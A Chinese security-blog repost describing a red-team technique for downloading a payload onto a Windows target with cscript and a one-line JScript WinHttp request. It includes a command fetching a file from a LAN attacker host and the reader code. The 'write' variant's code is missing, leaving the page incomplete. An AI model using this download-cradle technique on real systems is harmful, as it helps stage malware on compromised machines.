Js 一句话下载 Payload

华盟学院山东省第二期线下学习计划

作者:Micropoor

链接:https://micropoor.blogspot.com

windows 全版本都会默认支持js,并且通过cscript来调用达到下载payload的目的。

靶机:windows 2003

读取:

C:test>cscript /nologo downfile.js http://192.168.1.115/robots.txt

Js 一句话下载 Payload

附代码:

varWinHttpReq= new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET",WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();WScript.Echo(WinHttpReq.ResponseText);

写入:

C:test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt

Js 一句话下载 Payload

附代码:

Js 一句话下载 Payload

www.idc126.com

后者的话:简单,易用,轻便。

本文由 华盟网 作者:congtou 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论